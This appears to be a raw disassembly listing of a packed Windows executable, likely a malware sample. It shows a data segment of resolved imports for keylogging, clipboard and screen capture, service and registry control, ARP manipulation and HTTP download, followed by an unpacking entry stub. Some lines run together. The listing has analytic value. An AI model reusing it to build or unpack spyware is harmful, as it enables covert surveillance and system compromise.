dword_43C22C	dd 101h	dup(0)	dword_43C630	dd 0							; sub_402B83+9o
		align 8
dword_43C638	dd 0		byte_43C63C	db 0			; DATA XREF: sub_403A47+36r
					; sub_403B2A+37r ...
		align 10h
dword_43C640	dd 0							; sub_404197+30r ...
		align 8
dword_43C648	dd 0							; sub_405953+51r ...
dword_43C64C	dd 0							; sub_404969+14Cr ...
		dd 2 dup(0)
dword_43C658	dd 0							; sub_407599+92w ...
dword_43C65C	dd 0							; sub_4078E6+D9w ...
		dd 0BB6h dup(0)
dword_43F538	dd 6 dup(0)						; sub_4076D2+138o ...
dword_43F550	dd 0							; sub_4071BD+102o
dword_43F554	dd 41h dup(0)	dword_43F658	dd 41h dup(0)	dword_43F75C	dd 0							; sub_4071BD+114r
dword_43F760	dd 0		dword_43F764	dd 0							; sub_4071BD+CFr
dword_43F768	dd 20h dup(0)						; sub_4071BD+BAo
dword_43F7E8	dd 0		dword_43F7EC	dd 0							; sub_4071BD+C7w
dword_43F7F0	dd 0				align 8
dword_43F7F8	dd 0							; sub_4071BD+32Eo
dword_43F7FC	dd 0A2h	dup(0)	dword_43FA84	dd 41h dup(0)	dword_43FB88	dd 0							; sub_4071BD+2E1r
		align 10h
dword_43FB90	dd 0							; sub_4071BD+340r
dword_43FB94	dd 0		dword_43FB98	dd 0		dword_43FB9C	dd 0				dd 0
dword_43FBA4	dd 0		dword_43FBA8	dd 0							; sub_4071BD+221o
dword_43FBAC	dd 41h dup(0)	dword_43FCB0	dd 41h dup(0)	dword_43FDB4	dd 0							; sub_4071BD+233r
dword_43FDB8	dd 0		dword_43FDBC	dd 0		dword_43FDC0	dd 20h dup(0)						; sub_4071BD+1D9o
dword_43FE40	dd 0		dword_43FE44	dd 0							; sub_4071BD+1E6w
dword_43FE48	dd 0				align 10h
dword_43FE50	dd 0							; sub_40894E+12r
		align 8
dword_43FE58	dd 80h dup(0)	dword_440058	dd 200h	dup(0)						; sub_409307+DDo ...
dword_440858	dd 20h dup(0)						; sub_409307+F4o ...
dword_4408D8	dd 1E0h	dup(0)	dword_441058	dd 0		; resolved to->NTDLL.RtlCreateQueryDebugBuffer					; sub_40917E+94r
dword_44105C	dd 0		; resolved to->NTDLL.RtlRunDecodeUnicodeString					; sub_4095E4+55r ...
dword_441060	dd 0		; resolved to->NTDLL.RtlDestroyQueryDebugBuffer					; sub_40917E+D6r ...
dword_441064	dd 0		; resolved to->NTDLL.ZwQuerySystemInformation					; sub_40917E+35r ...
dword_441068	dd 80h dup(0)	dword_441268	dd 0		; resolved to->NTDLL.RtlQueryProcessDebugInformation					; sub_40917E+A2r
		align 10h
dword_441270	dd 0							; sub_408FAC+103r ...
dword_441274	dd 0							; sub_4094AE+107w
dword_441278	dd 0							; sub_4094AE+10Dw ...
dword_44127C	dd 0							; sub_4095E4+4Fr
dword_441280	dd 0		; resolved to->GDI32.DeleteDC					; sub_40851A+21Ar ...
dword_441284	dd 0		; resolved to->KERNEL32.Module32First					; sub_415B93+166r
dword_441288	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_409794+862r ...
dword_44128C	dd 0							; sub_409794+A18r ...
dword_441290	dd 0							; sub_409794+9E8r ...
dword_441294	dd 0		; resolved to->GDI32.SelectObject					; sub_409794+46Fw ...
dword_441298	dd 0		; resolved to->USER32.GetKeyState					; sub_402368+2A4r ...
dword_44129C	dd 0							; sub_409794+A10r ...
dword_4412A0	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_409794+3A9r ...
dword_4412A4	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_40BDAD+11Er
dword_4412A8	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_409794+3B1r ...
dword_4412AC	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_40E284+ADr
dword_4412B0	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_40841A+7Dr ...
dword_4412B4	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_409794+D2r ...
dword_4412B8	dd 0							; sub_409794+9DBr ...
dword_4412BC	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_409794+3C9r ...
dword_4412C0	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_409794+88Er ...
dword_4412C4	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_409794+2A5w ...
dword_4412C8	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_409794+886r ...
dword_4412CC	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_4412D0	dd 0		; resolved to->WININET.InternetReadFile					; sub_409794+896r ...
dword_4412D4	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_409794+52Fw ...
dword_4412D8	dd 0		; resolved to->KERNEL32.Process32Next					; sub_409794+CAr ...
dword_4412DC	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_40B45B+11Ar
dword_4412E0	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_409794+A6Dr ...
dword_4412E4	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_409794+F2r
dword_4412E8	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_409794+462w ...
dword_4412EC	dd 0		; resolved to->WS2_32.ntohl					; sub_409794+5D8w
dword_4412F0	dd 0							; sub_409794+A08r
dword_4412F4	dd 0		; resolved to->WS2_32.ntohs					; sub_409794+5CBw ...
dword_4412F8	dd 0							; sub_409794+B21w
dword_4412FC	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_409794+84Fr ...
dword_441300	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_40AB95+15r
dword_441304	dd 0							; sub_409794+9F0r ...
dword_441308	dd 0		; resolved to->ADVAPI32.ControlService					; sub_409794+3B9r ...
dword_44130C	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_409794+3C1r ...
dword_441310	dd 0							; sub_40894E+2Br ...
dword_441314	dd 0		; resolved to->WS2_32.getpeernamedword_441318	dd 0		; resolved to->WS2_32.WSACleanup					; sub_401A6D:loc_401D13r ...
dword_44131C	dd 0		; resolved to->GDI32.DeleteObject					; sub_409794+496w
dword_441320	dd 0							; sub_409794+A20r ...
dword_441324	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_409794+2DEr ...
dword_441328	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_409794+DAr ...
dword_44132C	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_409794+B75r ...
dword_441330	dd 0		; resolved to->WS2_32.WSAStartup					; sub_401A6D+2Fr ...
dword_441334	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_409794+872r ...
dword_441338	dd 0							; sub_409794+9F8r
dword_44133C	dd 0							; sub_404969+70r ...
dword_441340	dd 0		; resolved to->USER32.GetForegroundWindow					; sub_402368+63r ...
dword_441344	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_409794+910r ...
dword_441348	dd 0		dword_44134C	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_401447+3Cr ...
dword_441350	dd 0		; resolved to->WININET.InternetOpenA					; sub_409794+855r
dword_441354	dd 0		; resolved to->USER32.GetWindowTextA					; sub_402368+7Cr ...
dword_441358	dd 0		; resolved to->USER32.IsWindow					; sub_408755+69r ...
dword_44135C	dd 0		; resolved to->WS2_32.getsockname					; sub_409794+786r ...
dword_441360	dd 0		; resolved to->WS2_32.connect					; sub_404197+5Er ...
dword_441364	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_402E92+12Cr ...
dword_441368	dd 0							; sub_409794:loc_40A06Fw ...
dword_44136C	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_409794+2C6r ...
dword_441370	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_409794+681w ...
dword_441374	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_409794+323r ...
dword_441378	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_409794+3D1r ...
dword_44137C	dd 0							; sub_404969+1C5r ...
dword_441380	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_409794+86Ar ...
dword_441384	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_402368+297r ...
dword_441388	dd 0		; resolved to->USER32.OpenClipboard					; sub_409794+1D2r ...
dword_44138C	dd 0		; resolved to->WININET.InternetConnectA					; sub_409794+87Ar ...
dword_441390	dd 0		; resolved to->WSOCK32.recvfrom					; sub_409794+606w ...
dword_441394	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_409794+2BFw ...
dword_441398	dd 0		; resolved to->WSOCK32.setsockopt					; sub_401447+AAr ...
dword_44139C	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_409794+316r ...
dword_4413A0	dd 0		; resolved to->WS2_32.select					; sub_406B85+1FCr ...
dword_4413A4	dd 0		; resolved to->GDI32.CreateDCA					; sub_409794+42Ew ...
dword_4413A8	dd 0		; resolved to->USER32.GetClipboardData					; sub_409794+1DAr ...
dword_4413AC	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_409794+39Cr ...
dword_4413B0	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4413B4	dd 0		; resolved to->WS2_32.ntohl					; sub_4010B2+1F9r ...
dword_4413B8	dd 0		; resolved to->WS2_32.ntohs					; sub_4010B2+9Dr ...
dword_4413BC	dd 0		; resolved to->KERNEL32.Process32First					; sub_409794+C2r ...
dword_4413C0	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_40851A+38r ...
dword_4413C4	dd 0		; resolved to->USER32.FindWindowA					; sub_409794+1BAr ...
dword_4413C8	dd 0							; sub_40EB6D+72r
dword_4413CC	dd 0		; resolved to->WS2_32.gethostname					; sub_409794+667w ...
dword_4413D0	dd 0		; resolved to->WSOCK32.recv					; sub_402E92+1C2r ...
dword_4413D4	dd 0							; sub_404969+291r ...
dword_4413D8	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_409794+BAr ...
dword_4413DC	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_409794+2CEr ...
dword_4413E0	dd 0		; resolved to->WS2_32.listen					; sub_407B45+9Cr ...
dword_4413E4	dd 0		; resolved to->WS2_32.bind					; sub_402E92+ADr ...
dword_4413E8	dd 0							; sub_40F6F1+4717r
dword_4413EC	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_40C1D5+205r ...
dword_4413F0	dd 0		dword_4413F4	dd 0							; sub_409794+BB8w ...
dword_4413F8	dd 0		; resolved to->WS2_32.inet_addr					; sub_401447+1A0r ...
dword_4413FC	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_409794+43Bw ...
dword_441400	dd 0		; resolved to->GDI32.BitBlt					; sub_409794+47Cw ...
dword_441404	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_409794+448w ...
dword_441408	dd 0		; resolved to->WS2_32.send					; sub_403E35+249r ...
dword_44140C	dd 0		; resolved to->USER32.CloseClipboard					; sub_409794+1E2r ...
dword_441410	dd 0							; sub_409794+A28r ...
dword_441414	dd 0		; resolved to->USER32.SendMessageA					; sub_408755+7Fr ...
dword_441418	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_409794+E2r ...
dword_44141C	dd 0		; resolved to->WS2_32.sendto					; sub_401447+2DAr ...
dword_441420	dd 0							; sub_404D78+4CFr ...
dword_441424	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_415B28+55r
dword_441428	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_409794+27Ew ...
dword_44142C	dd 0		; resolved to->SHELL32.SHChangeNotifydword_441430	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40AECD+CEr
dword_441434	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_409794+AB7r ...
dword_441438	dd 0		; resolved to->WS2_32.socket					; sub_401D79+55r ...
dword_44143C	dd 0		; resolved to->WS2_32.gethostbyname					; ___:00407D55r ...
dword_441440	dd 0							; sub_409794+BC5w ...
dword_441444	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_406B85+250r ...
dword_441448	dd 0							; sub_409794+A00r ...
dword_44144C	dd 0		; resolved to->WS2_32.accept					; sub_407B45+B3r ...
dword_441450	dd 0		; resolved to->WS2_32.closesocket					; sub_401447+2F0r ...
dword_441454	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_405A6A+39Fr ...
dword_441458	dd 0							; sub_403A47+C8r ...
dword_44145C	dd 0		; resolved to->WS2_32.WSASocketA					; sub_401A6D+4Fr ...
dword_441460	dd 0							; sub_409794+AFAw ...
dword_441464	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_409794+ADr ...
dword_441468	dd 0		; resolved to->USER32.DestroyWindow					; sub_40894E+232r ...
		align 10h
dword_441470	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_409794+91Dr ...
dword_441474	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_409794+EAr ...
dword_441478	dd 0							; sub_409794+12Bw ...
dword_44147C	dd 0							; sub_40A421+1Cr
dword_441480	dd 0							; sub_409794:loc_4099E9w ...
dword_441484	dd 0							; sub_40A421+50r
dword_441488	dd 0							; sub_409794:loc_409AC3w ...
dword_44148C	dd 0							; sub_40A421+84r
dword_441490	dd 0							; sub_40A421:loc_40A4D1r
dword_441494	dd 0							; sub_40A421+B8r
dword_441498	dd 0							; sub_40A421:loc_40A505r
dword_44149C	dd 0							; sub_40A421+ECr
dword_4414A0	dd 0							; sub_409794+8D1w ...
dword_4414A4	dd 0							; sub_40A421+120r
dword_4414A8	dd 0							; sub_40A421:loc_40A56Dr ...
dword_4414AC	dd 0							; sub_40A421+154r
dword_4414B0	dd 0							; sub_40A421:loc_40A5A1r ...
dword_4414B4	dd 0							; sub_40A421+188r
dword_4414B8	dd 0							; sub_40A421:loc_40A5D5r
dword_4414BC	dd 0							; sub_40A421+1BCr
dword_4414C0	dd 0							; sub_40A421:loc_40A609r
dword_4414C4	dd 0							; sub_40A421+1F0r
dword_4414C8	dd 0							; sub_40A421:loc_40A63Dr
dword_4414CC	dd 0							; sub_40A421+224r
dword_4414D0	dd 0							; sub_40A421:loc_40A671r
dword_4414D4	dd 0							; sub_40A421+258r
dword_4414D8	dd 0							; sub_40A421:loc_40A6A5r
dword_4414DC	dd 0							; sub_40A421+28Cr
dword_4414E0	dd 0							; sub_40A421:loc_40A6D9r
dword_4414E4	dd 0							; sub_40A421+2C0r
dword_4414E8	dd 81h dup(0)	dword_4416EC	dd 5 dup(0)	dword_441700	dd 0							; sub_40F6F1+629Do ...
dword_441704	dd 0							; sub_40B8EC+54r ...
dword_441708	dd 0							; sub_40B8EC+37r ...
dword_44170C	dd 0							; sub_40BA41+83o
dword_441710	dd 0							; sub_40BA41+11Bw
dword_441714	dd 0Dh dup(0)						; sub_40BA41:loc_40BB7Eo
dword_441748	dd 0							; sub_40B8EC+ECr ...
		align 10h
dword_441750	dd 0Eh dup(0)	dword_441788	dd 0FF2h dup(0)						; sub_40C597o ...
dword_445750	dd 0Eh dup(0)	dword_445788	dd 0							; sub_40C597+Eo ...
dword_44578C	dd 0Eh dup(0)	dword_4457C4	dd 2 dup(0)	dword_4457CC	dd 17h dup(0)						; sub_40DDD4+131o ...
dword_445828	dd 80h dup(0)						; sub_40EB6D+A5o
dword_445A28	dd 0							; sub_40E14E+4Dr ...
dword_445A2C	dd 17h dup(0)						; sub_40EA39+12Do
dword_445A88	dd 80h dup(0)						; sub_40E08F+7Do ...
byte_445C88	db 0			; DATA XREF: sub_40E14E+29r
					; sub_40E14E+34w
		align 4
dword_445C8C	dd 80h dup(0)						; sub_40E3A5+88o ...
dword_445E8C	dd 81h dup(0)						; sub_40DCAB+50o ...
dword_446090	dd 0							; sub_40C3FF+44r ...
		dd 5 dup(0)
dword_4460A8	dd 0							; sub_40F6F1+BCEr
		dd 2D9h	dup(0)
dword_446C10	dd 0							; sub_40C3FF+2Do ...
		dd 7Fh dup(0)
dword_446E10	dd 0							; sub_416F93+40w ...
dword_446E14	dd 0							; sub_4076D2:loc_407719r ...
dword_446E18	dd 0							; sub_416E58+52w ...
dword_446E1C	dd 0							; sub_405A6A+7Ew ...
dword_446E20	dd 0							; ___:00407F07r ...
dword_446E24	dd 0							; sub_4071BD+122w ...
byte_446E28	db 0			; DATA XREF: sub_40F326+E2o
					; sub_40F6F1+346Er ...
		align 4
dword_446E2C	dd 2488h dup(0)
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042AC28o
dword_450050	dd 10003h dup(0)
dword_49005C	dd 937Eh dup(0)			db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43AE18o
dword_4B4E58	dd 7CBEh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_42DD54o
		dd 2FBDh dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:0042AC14o
		dd 1040h dup(0)
dword_4E414C	dd 2FBEh dup(0)	dword_4F0044	dd 5500h dup(0)			db 2 dup(0)
word_505446	dw 0			; DATA XREF: ___:off_424C70o
		dd 401Eh dup(0)
dword_5154C0	dd 0							; ___:0040EC75w ...
		align 8
dword_5154C8	dd 0		dword_5154CC	dd 20h dup(0)						; ___:0040F289o ...
dword_51554C	dd 10h dup(0)						; sub_40F6F1+920o
dword_51558C	dd 24h dup(0)	dword_51561C	dd 0							; ___:0040F2A0w ...
dword_515620	dd 0				align 10h
dword_515630	dd 0		dword_515634	dd 0		byte_515638	db 0			; DATA XREF: sub_40F576+28r
					; sub_40F576+30o
		align 4
byte_51563C	db 0			; DATA XREF: ___:loc_40F2C2r
					; ___:0040F2D0o
		align 10h
dword_515640	dd 0		dword_515644	dd 0		dword_515648	dd 0		dword_51564C	dd 0							; ___:0040F254r ...
dword_515650	dd 0							; sub_40F6F1+8C4r
dword_515654	dd 1Bh dup(0)	dword_5156C0	dd 0							; sub_4170BF+19o
dword_5156C4	dd 65h dup(0)	byte_515858	db 0			; DATA XREF: sub_416D51+6Ar
					; sub_416D51+98w
		align 10h
dword_515860	dd 0							; sub_418000+A4w
		align 8
word_515868	dw 0			; DATA XREF: sub_418000+55r
					; sub_418000+9Ao
word_51586A	dw 0			; DATA XREF: sub_418000+48r
		db 2 dup(0)
word_51586E	dw 0			; DATA XREF: sub_418000+3Br
word_515870	dw 0			; DATA XREF: sub_418000+2Er
word_515872	dw 0			; DATA XREF: sub_418000+21r
		align 8
dword_515878	dd 0							; sub_41824D+91w
		align 10h
dword_515880	dd 0		dword_515884	dd 0							; sub_417DAD+1B9w ...
dword_515888	dd 0							; sub_41B397:loc_41B431w ...
dword_51588C	dd 0				dd 0A28h, 501h,	5, 1
dword_5158A0	dd 1							; ___:0041CD71w
dword_5158A4	dd 2570ED0h						; ___:0040EF62r ...
		dd 0
dword_5158AC	dd 2570D70h						; sub_41EFBB+9r ...
dword_5158B0	dd 0		dword_5158B4	dd 0							; sub_41FAC2+4r ...
		dd 0
off_5158BC	dd offset aCM_unpackerPac ; DATA XREF: ___:0041CD0Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_5158C4	db 0			; DATA XREF: sub_418FB9+2Dw
					; sub_41D677+5r
		align 4
dword_5158C8	dd 0		dword_5158CC	dd 0							; sub_418FB9+8Bw
dword_5158D0	dd 0							; ___:loc_41CC7Br ...
		align 8
dword_5158D8	dd 0		dword_5158DC	dd 0							; sub_418C3F:loc_418D3Br ...
dword_5158E0	dd 0		dword_5158E4	dd 2 dup(0)	dword_5158EC	dd 0							; sub_417CAE:loc_417D7Br ...
		dd 3 dup(0)
dword_5158FC	dd 0							; sub_417CAE+BFr ...
		dd 0
dword_515904	dd 1							; sub_41BC2B+4Cw ...
dword_515908	dd 1							; sub_41C195+4w ...
dword_51590C	dd 0							; sub_41C6E1+1Ar ...
byte_515910	db 0			; DATA XREF: sub_41C5DD+3r
					; sub_41C5DD+98r ...
		align 4
dword_515914	dd 0							; sub_41C7BF+21w ...
byte_515918	db 0			; DATA XREF: sub_41C7BF+51w
		align 4
dword_51591C	dd 0				dd 0
dword_515924	dd 0							; ___:0041CA91w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41CCF7o
					; ___:off_5158BCo
		align 4
		dd 3Ah dup(0)
dword_515A2C	dd 1							; ___:0041CF50w ...
dword_515A30	dd 0		dword_515A34	dd 0							; sub_41C981:loc_41C9AAw ...
dword_515A38	dd 1							; sub_41D6F3:loc_41D75Dw
		align 10h
dword_515A40	dd 0							; sub_41DD12+63w ...
		align 8
dword_515A48	dd 0							; sub_41DD12+46r
dword_515A4C	dd 10h dup(0)	word_515A8C	dw 0			; DATA XREF: sub_41DF70+A8r
word_515A8E	dw 0			; DATA XREF: sub_41DD12+54r
					; sub_41DF70+DBr ...
word_515A90	dw 0			; DATA XREF: sub_41DF70+CAr
word_515A92	dw 0			; DATA XREF: sub_41DF70+D3r
					; sub_41DF70:loc_41E062r
word_515A94	dw 0			; DATA XREF: sub_41DF70+C0r
word_515A96	dw 0			; DATA XREF: sub_41DF70+B8r
word_515A98	dw 0			; DATA XREF: sub_41DF70+B0r
word_515A9A	dw 0			; DATA XREF: sub_41DF70+9Er
dword_515A9C	dd 0		dword_515AA0	dd 10h dup(0)	word_515AE0	dw 0			; DATA XREF: sub_41DF70+46r
word_515AE2	dw 0			; DATA XREF: sub_41DD12:loc_41DD89r
					; sub_41DF70+78r ...
word_515AE4	dw 0			; DATA XREF: sub_41DF70+67r
word_515AE6	dw 0			; DATA XREF: sub_41DF70+70r
					; sub_41DF70:loc_41DFF4r
word_515AE8	dw 0			; DATA XREF: sub_41DF70+5Dr
word_515AEA	dw 0			; DATA XREF: sub_41DF70+55r
word_515AEC	dw 0			; DATA XREF: sub_41DF70+4Dr
word_515AEE	dw 0			; DATA XREF: sub_41DF70+3Er
dword_515AF0	dd 0		dword_515AF4	dd 0							; sub_41DD12:loc_41DE5Er ...
dword_515AF8	dd 0		dword_515AFC	dd 0		word_515B00	dw 0			; DATA XREF: sub_41ECF8+1Ao
					; sub_41ECF8+46r
byte_515B02	db 0			; DATA XREF: sub_41ECF8+39r
		align 4
dword_515B04	dd 7 dup(0)	dword_515B20	dd 0							; sub_41ECF8+5Co
dword_515B24	dd 0		dword_515B28	dd 0		dword_515B2C	dd 0		dword_515B30	dd 0		; resolved to->USER32.MessageBoxA					; sub_41EE5D+2Ew ...
dword_515B34	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41EE5D:loc_41EEACr
dword_515B38	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41EE5D+60r
dword_515B3C	dd 0		dword_515B40	dd 0							; sub_41FE42+48w ...
dword_515B44	dd 0							; sub_4205FA+4Cw ...
dword_515B48	dd 0							; sub_420885:loc_4208EFw
dword_515B4C	dd 2564968h						; sub_41B9C1+14r ...
		dd 4 dup(0)
dword_515B60	dd 400h	dup(0)						; ___:0043BB80o
dword_516B60	dd 200h							; sub_41B515+56r ...
		dd 7 dup(0)
dword_516B80	dd 2570EF0h						; sub_41B582+75r ...
dword_516B84	dd 3Fh dup(0)	dword_516C80	dd 20h							; sub_41B65B+Cr ...
dword_516C84	dd 4E4h							; sub_41BFFC+65w ...
		align 10h
dword_516C90	dd 3 dup(0)						; sub_41BFFC+171o ...
dword_516C9C	dd 0							; sub_41BFFC+15Dw ...
byte_516CA0	db 0			; DATA XREF: sub_41C23B:loc_41C347w
					; sub_41C23B:loc_41C364w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_516DA0	db 0			; DATA XREF: sub_41BFFC+5Co
					; sub_41BFFC+AFo ...
byte_516DA1	db 0			; DATA XREF: sub_418AA8+5Dr
					; sub_41BFFC+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_516EA4	dd 0							; sub_41BFFC+12Bw ...
dword_516EA8	dd 10h							; sub_41A2B6+32w
dword_516EAC	dd 0							; sub_419C82+259r ...
dword_516EB0	dd 2560650h						; sub_419FAD:loc_419FFDr ...
dword_516EB4	dd 0							; sub_419C82+25Fr ...
dword_516EB8	dd 1							; sub_419C82+2CAr ...
dword_516EBC	dd 2560650h						; sub_419C82+2CFr ...
dword_516EC0	dd 2560000h						; sub_417C62+21r ...
dword_516EC4	dd 142340h						; ___:0041CD09r
dword_516EC8	dd 1		dword_516ECC	dd 1							; sub_41C3C0+11w ...
dword_516ED0	dd 0		dword_516ED4	dd 0							; sub_418FB9+57r
		align 200h
___		ends

; Section 2. (virtual address 00117000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00117000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 517000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00118000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00118000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 518000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 118050h, 118000h, 3 dup(0)
		dd 118079h, 11800Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00119000)
; Virtual size			: 000C5000 ( 806912.)
; Section size in file		: 000C5000 ( 806912.)
; Offset to raw	data for section: 00119000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
ud2_____	segment	para public 'CODE' use32
		assume cs:ud2_____
		;org 519000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0A317CA21h, 4323Fh, 52552h, 15E172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00519265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00569E28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056D111 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0056D387 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0056D3DF SIZE 00000098 BYTES
; FUNCTION CHUNK AT 0056D4AD SIZE 00000017 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_519086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_519041
		popa
		jmp	short loc_519076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 90h
		db 51h,	0, 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
		inc	eax


loc_519041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51904E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51906D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_519074


loc_51906D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51904E
; ---------------------------------------------------------------------------


loc_519074:				; CODE XREF: start+57j
		mov	edi, eax


loc_519076:				; CODE XREF: start+1Bj
		jmp	loc_519265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11926Ah
		add	ecx, edi
		jmp	short loc_519090
; ---------------------------------------------------------------------------


loc_519086:				; CODE XREF: start+8j
		mov	eax, offset loc_569E28
		mov	ecx, offset word_51926A


loc_519090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_51911B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_519265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
